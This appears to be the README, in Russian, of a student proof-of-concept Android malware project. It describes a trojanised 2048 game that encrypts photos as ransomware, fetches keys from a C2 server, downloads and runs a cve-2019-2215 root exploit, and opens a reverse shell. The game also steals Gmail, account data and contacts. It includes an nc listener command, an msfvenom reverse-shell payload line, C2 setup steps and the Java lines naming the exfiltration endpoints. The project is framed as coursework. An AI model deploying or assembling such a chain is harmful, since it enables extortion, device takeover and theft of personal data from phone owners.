Rootsmart 2.0 с cve-2019-2215 + программа-вымогатель

Отказ от ответственности

Этот проект предназначен исключительно для образовательных целей. В проекте используется код из rkshrksh/2048-Game и kangtastic/cve-2019-2215.

Описание проекта

Этот проект является частью модуля Mobile Security Сингапурского института технологий (Singapore Institute of Technology). Проект был выполнен в течение 6 недель, и его целью была разработка вредоносного Android-приложения. Благодаря этому мы узнали, как реализованы механизмы безопасности в Android OS и как можно применять на практике OWASP Mobile Top 10:2017 M8 - Code Tampering.

Проект представляет собой proof of concept, демонстрирующий программу-вымогатель собственной разработки, которая использует AES-шифрование, превращает cve-2019-2215 в средство атаки, а также похищает данные с заражённого устройства.

Протестировано на Android 10 и Google Pixel 2 XL.

├── 2048-Game 					// Android Project Folder
├── 2048-keystore				// Test-Keystore
├── cve-2019-2215				// Modified cve-2019-2215
│	└── cve-2019-2215.c
├── dropper_server				// Dropper server directory 
│	├── cve-2019-2215			// shells.zip content before zipping
│	├── dropper_server.py		// Dropper server program
│	├── exfiltrated_data.log
│	├── masterkeys.txt
│	├── ncat.exe 				// Netcat windows binary - for Reverse shell listener
│	├── requirements.txt
│	├── shells.zip  			// shells.zip that is hosted in root of dropper server
│	└── venv
└── test_images    				// test_images for easy adb push <image.ext> /sdcard/Pictures

Вектор атаки:

1. Установите и запустите приложение, предоставив необходимые разрешения
2. Программа-вымогатель зашифрует с помощью AES все файлы в /sdcard/Pictures
3. Каждый файл будет зашифрован отдельным случайно сгенерированным ключом
4. Ключи будут сохранены в /sdcard/keys.json, где каждая пара key:value представляет собой filepath:key
5. Выполняется HTTP GET к C2-серверу /get_mk для получения MasterKey и VictimID в теле ответа
6. MasterKey зашифрует keys.json, а VictimID будет сохранён в /sdcard/victimID.txt
7. Приложение загрузит shells.zip и распакует его содержимое
8. Запустит бинарный файл cve-2019-2215 из распакованного содержимого
9. Будет запущен процесс root shell, который выполнит install.sh из распакованного содержимого
10. Install.sh выполнит rs.elf из распакованного содержимого для установки обратного соединения с атакующим сервером
11. Приложение похитит gmail устройства, информацию об учётных записях пользователя и контакты.

Демонстрация

https://user-images.githubusercontent.com/56181271/155875246-092a3954-2f42-42b7-a00e-581a1bbf0546.mp4

Настройка C2 (Command & Control)

Для этого теста убедитесь, что телефон жертвы и C2-сервер находятся в одной подсети (в противном случае разместите C2 в публичном интернете). У C2-сервера есть 3 конечные точки, которые можно найти в dropper/dropper_server.py:

1. /process_command - GET для загрузки shells.zip и запуска root-эксплойта cve-2019-2215
2. /get_mk - GET для получения пары ключ-значение victimID:masterkey для шифрования /sdcard/keys.json
3. /postData - POST для отправки похищенных gmail, контактов и информации об учётных записях

Reverse Shell — сервер

nc -lvnp 1337 # Ideally this should be the same IP as the dropper server

Dropper — сервер

# Generate rs.elf payload
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf

# Better to run flask on Windows if WSL don't port forward localhost traffic to Windows Host
cd dropper
python3 -m venv venv # Create venv

# Activate venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Make sure host shell is root/Administrator

# Run C2 server
python3 dropper_server.py # WSL
python dropper_server.py # Windows

shells.zip в /dropper

1. Перейдите в папку dropper/cve-2019-2215
2. После создания rs.elf упакуйте в zip rs.elf + cve-2019-2215, install.sh
3. Переименуйте zip-файл в shells.zip
4. Переместите shells.zip в /dropper

Измените следующее перед компиляцией APK

Java-классы

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/process_command"; // Line 19

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45

// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Change IP and port according to dropper server IP and port
String urlString = "http://192.168.157.73:8080/postData"; // Line 32